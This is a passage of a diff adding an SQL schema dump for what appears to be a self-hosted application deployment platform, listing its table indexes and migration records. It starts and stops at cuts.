NOT NULL, + "traefik_outdated_webhook_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE INDEX IF NOT EXISTS "activity_log_log_name_index" ON "activity_log" (log_name); +CREATE INDEX IF NOT EXISTS "causer" ON "activity_log" (causer_type, causer_id); +CREATE INDEX IF NOT EXISTS "subject" ON "activity_log" (subject_type, subject_id); +CREATE UNIQUE INDEX IF NOT EXISTS "application_deployment_queues_deployment_uuid_unique" ON "application_deployment_queues" (deployment_uuid); +CREATE INDEX IF NOT EXISTS "idx_deployment_queues_app_status_pr_created" ON "application_deployment_queues" (application_id, status, pull_request_id, created_at); +CREATE INDEX IF NOT EXISTS "idx_deployment_queues_status_server" ON "application_deployment_queues" (status, server_id); +CREATE UNIQUE INDEX IF NOT EXISTS "application_previews_fqdn_unique" ON "application_previews" (fqdn); +CREATE UNIQUE INDEX IF NOT EXISTS "application_previews_uuid_unique" ON "application_previews" (uuid); +CREATE INDEX IF NOT EXISTS "applications_destination_type_destination_id_index" ON "applications" (destination_type, destination_id); +CREATE INDEX IF NOT EXISTS "applications_source_type_source_id_index" ON "applications" (source_type, source_id); +CREATE UNIQUE INDEX IF NOT EXISTS "applications_uuid_unique" ON "applications" (uuid); +CREATE INDEX IF NOT EXISTS "idx_cloud_init_scripts_team_id" ON "cloud_init_scripts" (team_id); +CREATE INDEX IF NOT EXISTS "cloud_provider_tokens_team_id_provider_index" ON "cloud_provider_tokens" (team_id, provider); +CREATE UNIQUE INDEX IF NOT EXISTS "cloud_provider_tokens_uuid_unique" ON "cloud_provider_tokens" (uuid); +CREATE INDEX IF NOT EXISTS "idx_cloud_provider_tokens_team_id" ON "cloud_provider_tokens" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "discord_notification_settings_team_id_unique" ON "discord_notification_settings" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "docker_cleanup_executions_uuid_unique" ON "docker_cleanup_executions" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "email_notification_settings_team_id_unique" ON "email_notification_settings" (team_id); +CREATE INDEX IF NOT EXISTS "environment_variables_resourceable_type_resourceable_id_index" ON "environment_variables" (resourceable_type, resourceable_id); +CREATE UNIQUE INDEX IF NOT EXISTS "environments_name_project_id_unique" ON "environments" (name, project_id); +CREATE UNIQUE INDEX IF NOT EXISTS "environments_uuid_unique" ON "environments" (uuid); +CREATE INDEX IF NOT EXISTS "idx_environments_project_id" ON "environments" (project_id); +CREATE UNIQUE INDEX IF NOT EXISTS "failed_jobs_uuid_unique" ON "failed_jobs" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "github_apps_uuid_unique" ON "github_apps" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "gitlab_apps_uuid_unique" ON "gitlab_apps" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "local_file_volumes_mount_path_resource_id_resource_type_unique" ON "local_file_volumes" (mount_path, resource_id, resource_type); +CREATE INDEX IF NOT EXISTS "local_file_volumes_resource_type_resource_id_index" ON "local_file_volumes" (resource_type, resource_id); +CREATE UNIQUE INDEX IF NOT EXISTS "local_persistent_volumes_name_resource_id_resource_type_unique" ON "local_persistent_volumes" (name, resource_id, resource_type); +CREATE INDEX IF NOT EXISTS "local_persistent_volumes_resource_type_resource_id_index" ON "local_persistent_volumes" (resource_type, resource_id); +CREATE UNIQUE INDEX IF NOT EXISTS "oauth_settings_provider_unique" ON "oauth_settings" (provider); +CREATE UNIQUE INDEX IF NOT EXISTS "personal_access_tokens_token_unique" ON "personal_access_tokens" (token); +CREATE INDEX IF NOT EXISTS "personal_access_tokens_tokenable_type_tokenable_id_index" ON "personal_access_tokens" (tokenable_type, tokenable_id); +CREATE INDEX IF NOT EXISTS "idx_private_keys_team_id" ON "private_keys" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "private_keys_uuid_unique" ON "private_keys" (uuid); +CREATE INDEX IF NOT EXISTS "idx_projects_team_id" ON "projects" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "projects_uuid_unique" ON "projects" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "pushover_notification_settings_team_id_unique" ON "pushover_notification_settings" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "s3_storages_uuid_unique" ON "s3_storages" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "scheduled_database_backup_executions_uuid_unique" ON "scheduled_database_backup_executions" (uuid); +CREATE INDEX IF NOT EXISTS "scheduled_db_backup_executions_backup_id_created_at_index" ON "scheduled_database_backup_executions" (scheduled_database_backup_id, created_at); +CREATE INDEX IF NOT EXISTS "scheduled_database_backups_database_type_database_id_index" ON "scheduled_database_backups" (database_type, database_id); +CREATE UNIQUE INDEX IF NOT EXISTS "scheduled_database_backups_uuid_unique" ON "scheduled_database_backups" (uuid); +CREATE INDEX IF NOT EXISTS "scheduled_task_executions_task_id_created_at_index" ON "scheduled_task_executions" (scheduled_task_id, created_at); +CREATE UNIQUE INDEX IF NOT EXISTS "scheduled_task_executions_uuid_unique" ON "scheduled_task_executions" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "scheduled_tasks_uuid_unique" ON "scheduled_tasks" (uuid); +CREATE INDEX IF NOT EXISTS "idx_servers_team_id" ON "servers" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "servers_uuid_unique" ON "servers" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "service_applications_uuid_unique" ON "service_applications" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "service_databases_uuid_unique" ON "service_databases" (uuid); +CREATE INDEX IF NOT EXISTS "services_destination_type_destination_id_index" ON "services" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "services_uuid_unique" ON "services" (uuid); +CREATE INDEX IF NOT EXISTS "sessions_last_activity_index" ON "sessions" (last_activity); +CREATE INDEX IF NOT EXISTS "sessions_user_id_index" ON "sessions" (user_id); +CREATE UNIQUE INDEX IF NOT EXISTS "shared_environment_variables_key_environment_id_team_id_unique" ON "shared_environment_variables" (key, environment_id, team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "shared_environment_variables_key_project_id_team_id_unique" ON "shared_environment_variables" (key, project_id, team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "slack_notification_settings_team_id_unique" ON "slack_notification_settings" (team_id); +CREATE INDEX IF NOT EXISTS "standalone_clickhouses_destination_type_destination_id_index" ON "standalone_clickhouses" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_clickhouses_uuid_unique" ON "standalone_clickhouses" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_dockers_server_id_network_unique" ON "standalone_dockers" (server_id, network); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_dockers_uuid_unique" ON "standalone_dockers" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_dragonflies_destination_type_destination_id_index" ON "standalone_dragonflies" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_dragonflies_uuid_unique" ON "standalone_dragonflies" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_keydbs_destination_type_destination_id_index" ON "standalone_keydbs" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_keydbs_uuid_unique" ON "standalone_keydbs" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_mariadbs_destination_type_destination_id_index" ON "standalone_mariadbs" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_mariadbs_uuid_unique" ON "standalone_mariadbs" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_mongodbs_destination_type_destination_id_index" ON "standalone_mongodbs" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_mongodbs_uuid_unique" ON "standalone_mongodbs" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_mysqls_destination_type_destination_id_index" ON "standalone_mysqls" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_mysqls_uuid_unique" ON "standalone_mysqls" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_postgresqls_destination_type_destination_id_index" ON "standalone_postgresqls" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_postgresqls_uuid_unique" ON "standalone_postgresqls" (uuid); +CREATE INDEX IF NOT EXISTS "standalone_redis_destination_type_destination_id_index" ON "standalone_redis" (destination_type, destination_id); +CREATE UNIQUE INDEX IF NOT EXISTS "standalone_redis_uuid_unique" ON "standalone_redis" (uuid); +CREATE INDEX IF NOT EXISTS "idx_subscriptions_team_id" ON "subscriptions" (team_id); +CREATE UNIQUE INDEX IF NOT EXISTS "swarm_dockers_server_id_network_unique" ON "swarm_dockers" (server_id, network); +CREATE UNIQUE INDEX IF NOT EXISTS "swarm_dockers_uuid_unique" ON "swarm_dockers" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "taggable_unique" ON "taggables" (tag_id, taggable_id, taggable_type); +CREATE UNIQUE INDEX IF NOT EXISTS "tags_uuid_unique" ON "tags" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "team_invitations_team_id_email_unique" ON "team_invitations" (team_id, email); +CREATE UNIQUE INDEX IF NOT EXISTS "team_invitations_uuid_unique" ON "team_invitations" (uuid); +CREATE UNIQUE INDEX IF NOT EXISTS "team_user_team_id_user_id_unique" ON "team_user" (team_id, user_id); +CREATE UNIQUE INDEX IF NOT EXISTS "telegram_notification_settings_team_id_unique" ON "telegram_notification_settings" (team_id); +CREATE INDEX IF NOT EXISTS "telescope_entries_batch_id_index" ON "telescope_entries" (batch_id); +CREATE INDEX IF NOT EXISTS "telescope_entries_created_at_index" ON "telescope_entries" (created_at); +CREATE INDEX IF NOT EXISTS "telescope_entries_family_hash_index" ON "telescope_entries" (family_hash); +CREATE INDEX IF NOT EXISTS "telescope_entries_type_should_display_on_index_index" ON "telescope_entries" (type, should_display_on_index); +CREATE UNIQUE INDEX IF NOT EXISTS "telescope_entries_uuid_unique" ON "telescope_entries" (uuid); +CREATE INDEX IF NOT EXISTS "telescope_entries_tags_tag_index" ON "telescope_entries_tags" (tag); +CREATE INDEX IF NOT EXISTS "user_changelog_reads_release_tag_index" ON "user_changelog_reads" (release_tag); +CREATE INDEX IF NOT EXISTS "user_changelog_reads_user_id_index" ON "user_changelog_reads" (user_id); +CREATE UNIQUE INDEX IF NOT EXISTS "user_changelog_reads_user_id_release_tag_unique" ON "user_changelog_reads" (user_id, release_tag); +CREATE UNIQUE INDEX IF NOT EXISTS "users_email_unique" ON "users" (email); +CREATE UNIQUE INDEX IF NOT EXISTS "webhook_notification_settings_team_id_unique" ON "webhook_notification_settings" (team_id); + +-- Migration records +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (1, '2014_10_12_000000_create_users_table', 1); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (2, '2014_10_12_100000_create_password_reset_tokens_table', 2); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (3, '2014_10_12_200000_add_two_factor_columns_to_users_table', 3); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (4, '2018_08_08_100000_create_telescope_entries_table', 4); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (5, '2019_12_14_000001_create_personal_access_tokens_table', 5); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (6, '2023_03_20_112410_create_activity_log_table', 6); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (7, '2023_03_20_112411_add_event_column_to_activity_log_table', 7); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (8, '2023_03_20_112412_add_batch_uuid_column_to_activity_log_table', 8); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (9, '2023_03_20_112809_create_sessions_table', 9); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (10, '2023_03_20_112811_create_teams_table', 10); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (11, '2023_03_20_112812_create_team_user_table', 11); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (12, '2023_03_20_112813_create_team_invitations_table', 12); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (13, '2023_03_20_112814_create_instance_settings_table', 13); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (14, '2023_03_24_140711_create_servers_table', 14); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (15, '2023_03_24_140712_create_server_settings_table', 15); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (16, '2023_03_24_140853_create_private_keys_table', 16); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (17, '2023_03_27_075351_create_projects_table', 17); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (18, '2023_03_27_075443_create_project_settings_table', 18); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (19, '2023_03_27_075444_create_environments_table', 19); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (20, '2023_03_27_081716_create_applications_table', 20); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (21, '2023_03_27_081717_create_application_settings_table', 21); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (22, '2023_03_27_081718_create_application_previews_table', 22); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (23, '2023_03_27_083621_create_services_table', 23); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (24, '2023_03_27_085020_create_standalone_dockers_table', 24); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (25, '2023_03_27_085022_create_swarm_dockers_table', 25); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (26, '2023_03_28_062150_create_kubernetes_table', 26); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (27, '2023_03_28_083723_create_github_apps_table', 27); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (28, '2023_03_28_083726_create_gitlab_apps_table', 28); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (29, '2023_04_03_111012_create_local_persistent_volumes_table', 29); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (30, '2023_05_04_194548_create_environment_variables_table', 30); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (31, '2023_05_17_104039_create_failed_jobs_table', 31); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (32, '2023_05_24_083426_create_application_deployment_queues_table', 32); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (33, '2023_06_22_131459_move_wildcard_to_server', 33); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (34, '2023_06_23_084605_remove_wildcard_domain_from_instancesettings', 34); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (35, '2023_06_23_110548_next_channel_updates', 35); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (36, '2023_06_23_114131_change_env_var_value_length', 36); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (37, '2023_06_23_114132_remove_default_redirect_from_instance_settings', 37); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (38, '2023_06_23_114133_use_application_deployment_queues_as_activity', 38); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (39, '2023_06_23_114134_add_disk_usage_percentage_to_servers', 39); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (40, '2023_07_13_115117_create_subscriptions_table', 40); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (41, '2023_07_13_120719_create_webhooks_table', 41); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (42, '2023_07_13_120721_add_license_to_instance_settings', 42); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (43, '2023_07_27_182013_smtp_discord_schemaless_to_normal', 43); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (44, '2023_08_06_142951_add_description_field_to_applications_table', 44); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (45, '2023_08_06_142952_remove_foreignId_environment_variables', 45); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (46, '2023_08_06_142954_add_readonly_localpersistentvolumes', 46); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (47, '2023_08_07_073651_create_s3_storages_table', 47); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (48, '2023_08_07_142950_create_standalone_postgresqls_table', 48); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (49, '2023_08_08_150103_create_scheduled_database_backups_table', 49); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (50, '2023_08_10_113306_create_scheduled_database_backup_executions_table', 50); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (51, '2023_08_10_201311_add_backup_notifications_to_teams', 51); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (52, '2023_08_11_190528_add_dockerfile_to_applications_table', 52); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (53, '2023_08_15_095902_create_waitlists_table', 53); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (54, '2023_08_15_111125_update_users_table', 54); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (55, '2023_08_15_111126_update_servers_add_unreachable_count_table', 55); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (56, '2023_08_22_071048_add_boarding_to_teams', 56); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (57, '2023_08_22_071049_update_webhooks_type', 57); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (58, '2023_08_22_071050_update_subscriptions_stripe', 58); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (59, '2023_08_22_071051_add_stripe_plan_to_subscriptions', 59); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (60, '2023_08_22_071052_add_resend_as_email', 60); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (61, '2023_08_22_071053_add_resend_as_email_to_teams', 61); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (62, '2023_08_22_071054_add_stripe_reasons', 62); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (63, '2023_08_22_071055_add_discord_notifications_to_teams', 63); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (64, '2023_08_22_071056_update_telegram_notifications', 64); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (65, '2023_08_22_071057_add_nixpkgsarchive_to_applications', 65); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (66, '2023_08_22_071058_add_nixpkgsarchive_to_applications_remove', 66); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (67, '2023_08_22_071059_add_stripe_trial_ended', 67); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (68, '2023_08_22_071060_change_invitation_link_length', 68); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (69, '2023_09_20_082541_update_services_table', 69); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (70, '2023_09_20_082733_create_service_databases_table', 70); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (71, '2023_09_20_082737_create_service_applications_table', 71); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (72, '2023_09_20_083549_update_environment_variables_table', 72); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (73, '2023_09_22_185356_create_local_file_volumes_table', 73); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (74, '2023_09_23_111808_update_servers_with_cloudflared', 74); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (75, '2023_09_23_111809_remove_destination_from_services_table', 75); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (76, '2023_09_23_111811_update_service_applications_table', 76); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (77, '2023_09_23_111812_update_service_databases_table', 77); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (78, '2023_09_23_111813_update_users_databases_table', 78); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (79, '2023_09_23_111814_update_local_file_volumes_table', 79); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (80, '2023_09_23_111815_add_healthcheck_disable_to_apps_table', 80); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (81, '2023_09_23_111816_add_destination_to_services_table', 81); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (82, '2023_09_23_111817_use_instance_email_settings_by_default', 82); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (83, '2023_09_23_111818_set_notifications_on_by_default', 83); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (84, '2023_09_23_111819_add_server_emails', 84); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (85, '2023_10_08_111819_add_server_unreachable_count', 85); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (86, '2023_10_10_100320_update_s3_storages_table', 86); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (87, '2023_10_10_113144_add_dockerfile_location_applications_table', 87); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (88, '2023_10_12_132430_create_standalone_redis_table', 88); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (89, '2023_10_12_132431_add_standalone_redis_to_environment_variables_table', 89); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (90, '2023_10_12_132432_add_database_selection_to_backups', 90); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (91, '2023_10_18_072519_add_custom_labels_applications_table', 91); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (92, '2023_10_19_101331_create_standalone_mongodbs_table', 92); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (93, '2023_10_19_101332_add_standalone_mongodb_to_environment_variables_table', 93); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (94, '2023_10_24_103548_create_standalone_mysqls_table', 94); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (95, '2023_10_24_120523_create_standalone_mariadbs_table', 95); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (96, '2023_10_24_120524_add_standalone_mysql_to_environment_variables_table', 96); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (97, '2023_10_24_124934_add_is_shown_once_to_environment_variables_table', 97); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (98, '2023_11_01_100437_add_restart_to_deployment_queue', 98); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (99, '2023_11_07_123731_add_target_build_dockerfile', 99); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (100, '2023_11_08_112815_add_custom_config_standalone_postgresql', 100); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (101, '2023_11_09_133332_add_public_port_to_service_databases', 101); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (102, '2023_11_12_180605_change_fqdn_to_longer_field', 102); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (103, '2023_11_13_133059_add_sponsorship_disable', 103); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (104, '2023_11_14_103450_add_manual_webhook_secret', 104); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (105, '2023_11_14_121416_add_git_type', 105); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (106, '2023_11_16_101819_add_high_disk_usage_notification', 106); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (107, '2023_11_16_220647_add_log_drains', 107); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (108, '2023_11_17_160437_add_drain_log_enable_by_service', 108); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (109, '2023_11_20_094628_add_gpu_settings', 109); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (110, '2023_11_21_121920_add_additional_destinations_to_apps', 110); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (111, '2023_11_24_080341_add_docker_compose_location', 111); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (112, '2023_11_28_143533_add_fields_to_swarm_dockers', 112); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (113, '2023_11_29_075937_change_swarm_properties', 113); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (114, '2023_12_01_091723_save_logs_view_settings', 114); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (115, '2023_12_01_095356_add_custom_fluentd_config_for_logdrains', 115); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (116, '2023_12_08_162228_add_soft_delete_services', 116); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (117, '2023_12_11_103611_add_realtime_connection_problem', 117); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (118, '2023_12_13_110214_add_soft_deletes', 118); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (119, '2023_12_17_155616_add_custom_docker_compose_start_command', 119); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (120, '2023_12_18_093514_add_swarm_related_things', 120); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (121, '2023_12_19_124111_add_swarm_cluster_grouping', 121); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (122, '2023_12_30_134507_add_description_to_environments', 122); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (123, '2023_12_31_173041_create_scheduled_tasks_table', 123); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (124, '2024_01_01_231053_create_scheduled_task_executions_table', 124); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (125, '2024_01_02_113855_add_raw_compose_deployment', 125); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (126, '2024_01_12_123422_update_cpuset_limits', 126); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (127, '2024_01_15_084609_add_custom_dns_server', 127); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (128, '2024_01_16_115005_add_build_server_enable', 128); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (129, '2024_01_21_130328_add_docker_network_to_services', 129); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (130, '2024_01_23_095832_add_manual_webhook_secret_bitbucket', 130); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (131, '2024_01_23_113129_create_shared_environment_variables_table', 131); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (132, '2024_01_24_095449_add_concurrent_number_of_builds_per_server', 132); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (133, '2024_01_25_073212_add_server_id_to_queues', 133); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (134, '2024_01_27_164724_add_application_name_and_deployment_url_to_queue', 134); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (135, '2024_01_29_072322_change_env_variable_length', 135); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (136, '2024_01_29_145200_add_custom_docker_run_options', 136); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (137, '2024_02_01_111228_create_tags_table', 137); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (138, '2024_02_05_105215_add_destination_to_app_deployments', 138); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (139, '2024_02_06_132748_add_additional_destinations', 139); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (140, '2024_02_08_075523_add_post_deployment_to_applications', 140); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (141, '2024_02_08_112304_add_dynamic_timeout_for_deployments', 141); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (142, '2024_02_15_101921_add_consistent_application_container_name', 142); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (143, '2024_02_15_192025_add_is_gzip_enabled_to_services', 143); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (144, '2024_02_20_165045_add_permissions_to_github_app', 144); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (145, '2024_02_22_090900_add_only_this_server_deployment', 145); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (146, '2024_02_23_143119_add_custom_server_limits_to_teams_ultimate', 146); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (147, '2024_02_25_222150_add_server_force_disabled_field', 147); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (148, '2024_03_04_092244_add_gzip_enabled_and_stripprefix_settings', 148); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (149, '2024_03_07_115054_add_notifications_notification_disable', 149); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (150, '2024_03_08_180457_nullable_password', 150); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (151, '2024_03_11_150013_create_oauth_settings', 151); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (152, '2024_03_14_214402_add_multiline_envs', 152); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (153, '2024_03_18_101440_add_version_of_envs', 153); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (154, '2024_03_22_080914_remove_popup_notifications', 154); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (155, '2024_03_26_122110_remove_realtime_notifications', 155); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (156, '2024_03_28_114620_add_watch_paths_to_apps', 156); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (157, '2024_04_09_095517_make_custom_docker_commands_longer', 157); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (158, '2024_04_10_071920_create_standalone_keydbs_table', 158); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (159, '2024_04_10_082220_create_standalone_dragonflies_table', 159); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (160, '2024_04_10_091519_create_standalone_clickhouses_table', 160); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (161, '2024_04_10_124015_add_permission_local_file_volumes', 161); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (162, '2024_04_12_092337_add_config_hash_to_other_resources', 162); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (163, '2024_04_15_094703_add_literal_variables', 163); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (164, '2024_04_16_083919_add_service_type_on_creation', 164); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (165, '2024_04_17_132541_add_rollback_queues', 165); +INSERT INTO "migrations" ("id", 